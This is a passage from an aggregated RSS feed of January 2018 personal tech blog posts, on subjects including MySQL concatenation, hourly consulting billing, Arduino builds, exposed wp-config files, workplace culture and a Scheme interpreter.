What is interesting is that some years ago, I saw a GitHub repository of the commentated Apollo code, It is wonderful to see such a marvelous display of engineering be on a repository in the internet.</description><author>Daniel Sada Caraveo | Developer Productivity &amp;amp; Culture</author><pubDate>Mon, 15 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://danielsada.tech/blog/apollo-software-history/</guid></item><item><title>Please ignore and remove your wp-config from GitHub</title><link>https://danielsada.tech/blog/remove-wp-config/</link><description>In my InfoSec class, we were asked to show a preliminary attempt at google hacking. We were tasked to try to get some indices of google hacking performed, to show us the importance of monitoring our site&amp;rsquo;s search engine exposure and possible file requests permissions. Examples included:
site:something filename:admin.php
While it certainly is something that sounds fun, for me this is more of a gimmick, nevertheless it made me think for a second.</description><author>Daniel Sada Caraveo | Developer Productivity &amp;amp; Culture</author><pubDate>Mon, 15 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://danielsada.tech/blog/remove-wp-config/</guid></item><item><title>Building Arduino Sketches from the Command Line</title><link>https://joshuarogers.net/articles/2018-01/building-arduino-sketches-from-the-command-line/</link><description>Just over two years ago, I wrote a little version of Snake for a 4x4x4 LED cube. Since then I've picked up several little Arduino devices, include a 6x6x6 LED cube, an Arduino Esplora, and the one I'm most excited about, an Arduboy. For every Arduino I bought, I had some grand plan. I never followed through on any of them though. It wasn't because of the technical challenge of writing an executable less than 32k in size.</description><author>Joshua Rogers</author><pubDate>Sun, 14 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2018-01/building-arduino-sketches-from-the-command-line/</guid></item><item><title>Legion: Season 1</title><link>https://olshansky.info/tv/legion_season_1/</link><description>Olshansky's review of Legion: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 14 Jan 2018 08:43:49 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/legion_season_1/</guid></item><item><title>Regarding Silver Gryphon Games</title><link>https://benovermyer.com/blog/2018/01/regarding-silver-gryphon-games/</link><description>&lt;p&gt;In late 2014, I stepped down from my role at Silver Gryphon Games. I had too much going on in my life to properly pay attention to the company.&lt;/p&gt;
&lt;p&gt;In early 2017, I felt I had sorted out enough that I could return, and so I did. I hadn't returned with the kind of rigor that a dormant company needs to be successful, though, and 2017 was largely a wash as far as SGG was concerned.&lt;/p&gt;
&lt;p&gt;Last Tuesday I met with the other co-founder Kevin online. We discussed what was necessary to bring the company back from the dead. I was adamant about getting our undelivered Kickstarter project completed and delivered. We established a weekly recurring meeting and I set up a kanban board in Trello to track work in progress.&lt;/p&gt;
&lt;p&gt;This is probably more effort than SGG has seen in years as far as planning goes. For the first time since 2014, I feel like SGG has a shot at being successful.&lt;/p&gt;
&lt;p&gt;Our focus is going to be on clearing our pre-existing backlog. While Kevin and I have always been good at idea generation, we've been less successful at follow-through, and that's where I want us to shine this year.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sun, 14 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/01/regarding-silver-gryphon-games/</guid></item><item><title>Hourly Billing Is OK</title><link>https://peterlyons.com/problog/2018/01/hourly-billing-is-ok/</link><description>&lt;h2 id="tl-dr"&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fixed bid, value-priced business consulting is OK&lt;/li&gt;
&lt;li&gt;software consulting billed hourly is also OK&lt;/li&gt;
&lt;li&gt;they are distinct lines of work and expertise&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;p&gt;There are three highly-visible people advocating strongly against hourly billing and in favor of value pricing. Jonathan Stark is so jazzed about it that he wrote an e-book on it. Patrick McKenzie and Thomas Ptacek have also written fairly extensively along the same lines.&lt;/p&gt;
&lt;h2 id="problems-with-hourly-billing"&gt;Problems with Hourly Billing&lt;/h2&gt;
&lt;p&gt;A lot of the writing I've read and podcasts I've heard on this topic is primarily focused on disparaging hourly billing for its many evils. Jonathan Stark is particularly vehement about this point going so far as to call it his mission to "rid the world" of hourly billing. He's also written an e-book with an insulting and ableist title that I will not be stating here or linking to.&lt;/p&gt;
&lt;p&gt;In my research for this article I found a bunch of specific bullet points written on an old HackerNews comment by Thomas Ptacek and responded to each one. That allowed me to get some feelings out and clarify my thoughts but I don't think it's valuable to post, so I'm going to heavily summarize my points/responses here.&lt;/p&gt;
&lt;p&gt;The basic takeaway I got from reading these laundry lists of problems with hourly billing is they find it causes a host of behaviors on both sides that are value-distracted. This includes bickering or negotiating small details like the dollar figure per hour, the hours billed on a given invoice, or the quantity of invoices. They claim that it poorly positions you and incentivizes you to book maximum hours.&lt;/p&gt;
&lt;p&gt;None of these claims have manifested in my work. I don't negotiate my rate. I never have and no client has ever initiated a negotiation. It goes one of 3 ways. 1. The client ghosts after I first state my rate. So long! 2. The client comments that the rate is high but agrees to pay it and does so happily. 3. The client happily pays it with no comment. That's it.&lt;/p&gt;
&lt;p&gt;No client of mine has ever contested an invoice. I send 1-liner invoices every 2 weeks that take the form "I worked N hours at rate X so your total due is Y". There's no breakdown of the hours into tasks.&lt;/p&gt;
&lt;h2 id="the-real-message"&gt;The Real Message&lt;/h2&gt;
&lt;p&gt;I think most of the anti-hourly writing has a valuable message but that message has nothing to do with billing whatsoever.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do value-focused consulting, not pure software development&lt;/strong&gt;. I think that makes perfect sense. Don't focus exclusively on technical matters. Work with product owners, UX designers, marketing, and executives to discover and clarify clear business wins and laser focus on delivering that value. You can charge more doing this, and it's what I call "software consulting" as opposed to "contract software development" where you are either doing straight staff augmentation or outsourced software development and are walled off from more strategic involvement.&lt;/p&gt;
&lt;p&gt;I think some of the concerns about hourly billing are really concerns about software development vs software consulting but are misattributed to a billing/pricing issue.&lt;/p&gt;
&lt;h2 id="what-about-those-20k-week-engagements"&gt;What about those $20K/week engagements&lt;/h2&gt;
&lt;p&gt;I think one of the main hooks here is Patrick McKenzie posting highly transparent articles about his big-ticket value-priced consulting engagements. The whole thing smacks of "You could be sipping cocktails on a Caribbean beach" BS a bit but here's what I think the underlying truth is.&lt;/p&gt;
&lt;p&gt;There is a totally separate business service here that is what Patrick McKenzie and Jonathan Stark do. It's business consulting. In particular they blend in a lot of technical know-how, but their service offering is fundamentally not in software development. They are basically MBAs who can code for hire. They deal in things like email marketing, copy writing, sales methodologies, A/B testing, sales funnel optimization, SEO, pricing strategy, etc. These are all great and valuable skills and value pricing those engagements sounds great! No objection to that. But my reading of their writing is they claim your average software consultant should aspire to do this, and I disagree. It's a totally different line of work requiring a totally different set of expertise. For me, it would be completely unsatisfying and I suspect many other developers would agree. I like coding and technical work. My consulting has a significant non-technical portion, but at the end of the day I'm still spending a lot of time coding.&lt;/p&gt;
&lt;h2 id="daily-rates"&gt;Daily Rates&lt;/h2&gt;
&lt;p&gt;Daily rates are fine. I don't consider them fundamentally different from hourly rates and if you are going to work exclusively for 1 client for a period, I recommend them and they should be more lucrative than hourly rates. However, having done 6+ months of daily rate, I prefer hourly personally even though I take home less cash. Basically I prefer to bill 3-5 super-solid productive hours a day and then go about my non-work life without a second thought, and daily billing isn't really compatible with the days when I only have 3 hours in me or I'm blocked waiting for someone else. I can also interleave multiple clients more easily with hourly billing. My ideal workload both from a productivity and satisfaction is two active hourly clients.&lt;/p&gt;
&lt;h2 id="when-value-pricing-works-for-me"&gt;When Value Pricing Works for Me&lt;/h2&gt;
&lt;p&gt;I have or would do value pricing for more well-defined "productized consulting" things I sometimes do. I charge flat value-based rates for training courses, for example. Because I work in software and don't teach the same material that many times without significant content updates, it's not as lucrative as it could be. But teaching the same course a dozen times is also not as rewarding or enjoyable to me personally. I would and have bid out code audits or retainers (slightly separate topic) fixed as well. But currently this is a small minority of my work.&lt;/p&gt;
&lt;h2 id="please-change-your-tone"&gt;Please Change Your Tone&lt;/h2&gt;
&lt;p&gt;This is a plea to these authors to change their message and tone. Hourly billing is fine and powers a huge portion of the economy. It's simple, versatile, and resilient. The constant disparagement I read and hear hurts my feelings and makes me angry and frustrated and sad. I feel my lifestyle and that of many of my close family members and friends is being needlessly attacked and portrayed as evil and exploitive when it's actually fine. The world is complex. Calculating the value of work is extremely complex if not impossible in many/most situations. Value pricing is only even remotely possible in a particular subset of relatively straightforward situations.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Sat, 13 Jan 2018 20:01:42 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/01/hourly-billing-is-ok/</guid></item><item><title>On Facebook, it's OK to be anti-you and your beliefs</title><link>https://stop.zona-m.net/2018/01/on-facebook-its-ok-to-be-anti-you-and-your-beliefs/</link><description>&lt;p&gt;An article about Facebook published last summer is a great read, but the reason why it is great may not be immediately evident:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 13 Jan 2018 17:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/on-facebook-its-ok-to-be-anti-you-and-your-beliefs/</guid></item><item><title>MySQL concatenation and casting</title><link>https://josh.works/mysql-concat-cast</link><description>&lt;p&gt;I recently &lt;a href="/setting-up-sql-queries-for-mere-mortals"&gt;set up my environment&lt;/a&gt; for working through &lt;em&gt;SQL for Mere Mortals&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I’ll record some interested tidbits here as I go.&lt;/p&gt;

&lt;h2 id="chapter-5-concatenation-without-the--operator"&gt;Chapter 5: Concatenation without the || operator&lt;/h2&gt;

&lt;p&gt;I use MySQL at work, and MySQL doesn’t support the &lt;code class="language-plaintext highlighter-rouge"&gt;||&lt;/code&gt; operator for string concatenation.&lt;/p&gt;

&lt;p&gt;So, in the book, an expression like:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;ItemOne&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;ItemTwo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;evaluates to &lt;code class="language-plaintext highlighter-rouge"&gt;ItemOneItemTwo&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;In MySQL, &lt;code class="language-plaintext highlighter-rouge"&gt;||&lt;/code&gt; is a &lt;a href="https://dev.mysql.com/doc/refman/5.7/en/logical-operators.html#operator_or"&gt;logical operator&lt;/a&gt;, just like in Ruby, so to get the above evaluation, you’d need to use:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;CONCAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ItemOne&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ItemTwo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That would give you &lt;code class="language-plaintext highlighter-rouge"&gt;ItemOneItemTwo&lt;/code&gt;. Of course, string concatenation pairs well with spaces between the strings you’re trying to concatenate, so please know that the &lt;code class="language-plaintext highlighter-rouge"&gt;CONCAT&lt;/code&gt; function can take any number of arguments, for example:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;CONCAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ItemOne&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ItemTwo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;would return &lt;code class="language-plaintext highlighter-rouge"&gt;ItemOne ItemTwo&lt;/code&gt;&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id="casting"&gt;CASTing&lt;/h2&gt;

&lt;p&gt;On page 147, the given SQL doesn’t work in MySQL:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;EngagementNumber&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="k"&gt;CAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;CAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EndDate&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;StartDate&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="nb"&gt;CHARACTER&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="s1"&gt;' day(s)'&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;DueToRun&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;Engagements&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s two problems. First, the concatenation issue mentioned above, so it would look like this:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;EngagementNumber&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;CONCAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;CAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;CAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EndDate&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;StartDate&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="nb"&gt;CHARACTER&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s1"&gt;' day(s)'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;DueToRun&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;Engagements&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Secondly, the &lt;code class="language-plaintext highlighter-rouge"&gt;CAST&lt;/code&gt; function doesn’t play as expected.&lt;/p&gt;

&lt;p&gt;Here’s a functioning query:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;EngagementNumber&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;EndDate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;StartDate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;CONCAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EndDate&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;StartDate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;' Day(s)'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;DaysToRun&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;engagements&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;¯\_(ツ)_/¯&lt;/p&gt;

&lt;h2 id="enable-pipes_as_concat-mode"&gt;Enable &lt;code class="language-plaintext highlighter-rouge"&gt;pipes_as_concat&lt;/code&gt; mode?&lt;/h2&gt;

&lt;p&gt;I plan on just replacing any use of &lt;code class="language-plaintext highlighter-rouge"&gt;||&lt;/code&gt; in the book with the &lt;code class="language-plaintext highlighter-rouge"&gt;CONCAT&lt;/code&gt; function, unless someone suggests otherwise.&lt;/p&gt;

&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; run MySQL in &lt;a href="https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html#sqlmode_pipes_as_concat"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;pipes_as_concat&lt;/code&gt;&lt;/a&gt; mode, according to &lt;a href="https://stackoverflow.com/a/24777235/3210178"&gt;StackOverflow&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To enable it in the current MySQL session, in the query interface just run&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;set sql_mode=PIPES_AS_CONCAT;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now you can try the pipes operator, and decide if you want it to be permanent or not.&lt;/p&gt;

&lt;h2 id="summary"&gt;Summary&lt;/h2&gt;

&lt;p&gt;This is pretty basic stuff. Chapter 6 was just about using &lt;code class="language-plaintext highlighter-rouge"&gt;WHERE&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;IS NULL&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;NOT LIKE&lt;/code&gt; clauses to filter down result sets.&lt;/p&gt;

&lt;p&gt;I rushed through it to get to the more interesting portion of the book, which is &lt;em&gt;Chapter 7: Thinking In Sets&lt;/em&gt; (AKA Joins tables!)&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 13 Jan 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/mysql-concat-cast</guid></item><item><title>Improving my productivity in 2018</title><link>https://daniel.do/article/leveling-up-with-productivity</link><description>Here's how I'm tackling becoming a lot more productive in the new year.</description><author>Daniel Immke</author><pubDate>Sat, 13 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://daniel.do/article/leveling-up-with-productivity</guid></item><item><title>📸 Singapore</title><link>https://bpev.me/notes/travel-singapore</link><author>bpev.me</author><pubDate>Fri, 12 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bpev.me/notes/travel-singapore</guid></item><item><title>Secret Hacking Session: Oracle Background Process Communication, Exotic Wait Events and Some Tracing too</title><link>https://tanelpoder.com/2018/01/11/secret-hacking-session-oracle-background-process-communication-exotic-wait-events-and-some-tracing-too/</link><description>&lt;p&gt;&lt;em&gt;Update: I unexpectedly ended up falling ill and decided to reschedule this hacking session to January 24, 10am PST. No need to re-register if you already have done so. Sorry for the inconvenience. I will upload the video to Youtube after the event.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Since I’m running my &lt;a href="https://tanelpoder.com/seminar/" rel="noopener" target="_blank"&gt;Advanced Oracle Troubleshooting Training&lt;/a&gt; in the end of this month, I’ll do one of my “secret” hacking sessions too for promotion and noise-making reasons next week! ;-)&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Thu, 11 Jan 2018 22:34:51 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2018/01/11/secret-hacking-session-oracle-background-process-communication-exotic-wait-events-and-some-tracing-too/</guid></item><item><title>Unhappy the land that is in need of surgeons and firefighters. Or not?</title><link>https://stop.zona-m.net/2018/01/unhappy-the-land-that-is-in-need-of-surgeons-and-firefighters.-or-not/</link><description>&lt;p&gt;What do young surgeons and firefighters have in common? Let&amp;rsquo;s start from a &lt;a href="https://www.technologyreview.com/the-download/609945/robot-surgeons-are-stealing-training-opportunities-from-young-doctors/"&gt;new research&lt;/a&gt; which found that:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 11 Jan 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/unhappy-the-land-that-is-in-need-of-surgeons-and-firefighters.-or-not/</guid></item><item><title>A new position</title><link>https://bastian.rieck.me/blog/2018/new_position/</link><description>&lt;p&gt;I have taken up a new position as a postdoctoral researcher in the
&lt;a href="https://www.bsse.ethz.ch/mlcb"&gt;&lt;em&gt;Machine Learning &amp;amp; Computational Biology
Lab&lt;/em&gt;&lt;/a&gt; of &lt;a href="https://www.bsse.ethz.ch/mlcb/karsten.html"&gt;Prof. Dr. Karsten
Borgwardt&lt;/a&gt; at ETH Zürich. In
hindsight—as is always the case—this now feels to be the
logical move. During the last year, my research started to touch more
and more upon concepts and issues in machine learning, and I let myself be
drawn more and more into this rich and exciting field. I will of course
try to apply my knowledge in scientific and information visualization in
my new job as well and I hope that there will be many interesting
opportunities for papers that span multiple fields.&lt;/p&gt;
&lt;p&gt;Moreover, I am really excited to be part of a group that actively uses
GitHub in their scientific work.
&lt;a href="https://github.com/Pseudomanifold/Aleph"&gt;Aleph&lt;/a&gt;, my topological data
analysis framework, will finally have some interesting company. Until my
own contributions start to make an appearance in the repositories of my
lab, please take a look at the &lt;a href="https://github.com/borgwardtlab"&gt;existing projects of the MLCB Lab on
GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;At the same time, it goes without saying that the views expressed on
this website are entirely my own and have neither been reviewed nor
endorsed by &lt;a href="https://www.ethz.ch/en.html"&gt;ETH Zurich&lt;/a&gt;.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Wed, 10 Jan 2018 14:43:06 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/new_position/</guid></item><item><title>5000 concepts for Europe: update 2018/1/10</title><link>https://stop.zona-m.net/2018/01/5000-concepts-for-europe-update-2018/1/10/</link><description>&lt;p&gt;Below please find the suggestions received so far for my proposal of a &lt;a href="https://stop.zona-m.net/2017/12/5000-concepts-for-europe-a-book-proposal"&gt;&amp;ldquo;5000 concepts for Europe&amp;rdquo; book&lt;/a&gt;. As last month, some were expected, some much less, at least by me. What do yu think?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 10 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/5000-concepts-for-europe-update-2018/1/10/</guid></item><item><title>From save face to fearless face culture</title><link>http://dimitarsimeonov.com/2018/01/10/from-save-face-to-fearless-face-culture</link><description>&lt;p&gt;&lt;strong&gt;“We all pretend we are here forever”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Damn. This was pretty spot on. A colleague jokingly told me this me
after I’ve announced that I’m leaving my job. But the phrase really
itched in my mind. It’s because I intuitively understood it was true,
but have never verbalized it before.&lt;/p&gt;

&lt;p&gt;Why do we have to put an act to save face, instead of being free to
discuss our plans and intentions. There are “good” reasons to so
as we stand to lose a lot.&lt;/p&gt;

&lt;p&gt;But it doesn’t have to be this way. A company culture is a Nash
equilibrium for collaborative and competitive game we all play at
work. Our actions converge acting in a certain way and saying only
things that we feel are safe to say. And those proverbial “good”
reasons, are only good in the context of the current equilibrium.&lt;/p&gt;

&lt;p&gt;But it is not the only equilibrium. There is a better equilibrium,
where we are free to share opinions, criticism, aspirations and
feedback without fear of retaliation. In that equilibrium, colleagues
and managers act as comrades, and trust each other. In this
equilibrium we are not trying to save face by wearing a mask. In this
equilibrium we have an honest face and can express our thoughts and
emotions without consequence, and work together happily and
effectively. Arguably, even more effectively than in the save-face
equilibrium.&lt;/p&gt;

&lt;p&gt;But why is save-face a lot more common than “fearless-face”? Because
its easy! Eaaaaasy. It takes a lot of effort to maintain
fearless-face. Because a fearless-face environment is a lot more
turbulent. The temperature is higher, everybody is speaking, everybody
is contributing, and everybody has an opinion.&lt;/p&gt;

&lt;p&gt;And does everybody agree? No. They don’t! So issues get discussed and
frustration can build up. And it is hard not to cross the line from
expressing disagreement &lt;strong&gt;kindly&lt;/strong&gt; to doing it in a mean way and
hurting others.&lt;/p&gt;

&lt;p&gt;In a fearless-face culture, we’re fearless because of the freedom to
expression is high, but freedom of retaliation is low. Fearless-face
aligns power with freedom of expression. Fearless-face culture relies
on relationships and trust. Fearless-face culture does not tolerate
abusive behavior or other ways to control through fear.&lt;/p&gt;

&lt;p&gt;To transition from save-face to fearless-face, you need to start from
the top. You need to start from the people with power who have the
options to retaliate in subtle ways, and those people need to commit
to not retaliate. By showing examples of such non-retaliation and
listening to things slightly outside the comfort zone of their
subordinates, they start to gradually disperse the fear. They
encourage a culture of candor. Because you cannot be candid if you
know that anything you say will be used against you. Miranda warnings
are not a way to build trust.&lt;/p&gt;

&lt;p&gt;When subordinates start dipping their toes into being candid, and
notice the people of power actually listen and reward that, they’ll be
braver and braver in the future and share more, providing more useful
information, and increasing the overall collaboration. They will break
the ice over time and get closer to the fearless face. They will feel
at more even ground.&lt;/p&gt;

&lt;p&gt;Fearless-face exists in the real world. It happens in situations where
all involved are friends or have built trust in a different way. It’s
a shortcut. Fearless-face in real world almost never starts as save
face. A small company with fearless-face culture would start as a
close group of people, before starting the company. Fearless-face can
morph into save-face as the company grows, but I’m not sure if the
reverse ever happened at all. Fearless-face is intrinsically hard to
scale due to cost associated with building the trust.&lt;/p&gt;

&lt;p&gt;And we currently lack the tools or skills or incentives to transition
from save-face. But I’m optimist. I believe that a fearless-face at
scale is more productive. It’s just really, really hard to arrive at
it and even harder to maintain. But once someone figures out how to
catalyze the transition… they get a great competitive advantage. And
over time others will follow.&lt;/p&gt;

&lt;p&gt;And even though we might be more productive at work, the biggest gain
would be non-material. It would be the increase in happiness and
feeling of belonging. Imagine!&lt;/p&gt;

&lt;p&gt;Oh that would be swell :) But it might take many generations to build.&lt;/p&gt;

&lt;p&gt;Meanwhile, we can take tiny steps, by recognizing when people are
honest with us or in society and reward and reinforce those moments of
bravery. When someone tells us how they feel, we can listen to them
and try to help. When someone shares publicly, and expose themselves
to attack we can support them. It might be hard to see, but I believe
it will gradually weave more and more fearlessness into our culture.&lt;/p&gt;</description><author>D13V</author><pubDate>Wed, 10 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/01/10/from-save-face-to-fearless-face-culture</guid></item><item><title>5 practical tips to finally learn React in 2018</title><link>https://goshacmd.com/tips-finally-learn-react/</link><author>Gosha Spark</author><pubDate>Wed, 10 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/tips-finally-learn-react/</guid></item><item><title>Holiday Hack Challenge 2017 - Write-Up</title><link>https://grh.am/2018/holiday-hack-challenge-2017-write-up/</link><description>&lt;p&gt;This will be the third year of taking part in the SANS Holiday Hack Challenge, and like many, I have been looking forward to it since late November.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I should really get round to publishing my unfinished attempt for 2016, seeing as it will complete this current series of blog posts&amp;hellip;&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="cranberry-terminals"&gt;Cranberry Terminals&lt;/h2&gt;
&lt;p&gt;First up, lets complete the Cranberry terminals in each of the snowball rolling games, to get us in the mood.&lt;/p&gt;</description><author>Graham Stevens – Grh.am</author><pubDate>Wed, 10 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://grh.am/2018/holiday-hack-challenge-2017-write-up/</guid></item><item><title>First few hurdles writing a Scheme interpreter</title><link>http://notes.eatonphil.com/first-few-hurdles-writing-a-scheme-interpreter.html</link><description>&lt;p&gt;I started working on &lt;a href="https://github.com/eatonphil/bsdscheme"&gt;BSDScheme&lt;/a&gt; last October, inspired to get back
into language implementation after my coworker built &lt;a href="https://github.com/briansteffens/bshift"&gt;bshift&lt;/a&gt;, a
compiler for a C-like language. BSDScheme is an interpreter for a
(currently small subset of) Scheme written in D. It implements a few
substantial primitive &lt;a href="https://github.com/eatonphil/bsdscheme/blob/c49bb14182f04682a5cda4dd224b853b4fc92e92/src/runtime.d#L422"&gt;functions&lt;/a&gt; (in under 1000 LoC!). It uses the
same test framework bshift uses, &lt;a href="https://github.com/briansteffens/btest"&gt;btest&lt;/a&gt;. I'm going to expand here
on some notes I wrote in a &lt;a href="https://www.reddit.com/r/scheme/comments/7nvd1y/my_small_scheme_implementation_in_d/"&gt;post&lt;/a&gt; on Reddit on some issues I faced
during these first few months developing BSDSCheme.&lt;/p&gt;
&lt;p&gt;Before I get too far, here is a simple exponent function running in
BSDScheme. It demonstates a few of the basic builtin primitives and
also integers being upgraded to D's &lt;a href="https://dlang.org/phobos/std_bigint.html"&gt;std.bigint&lt;/a&gt; when an integer
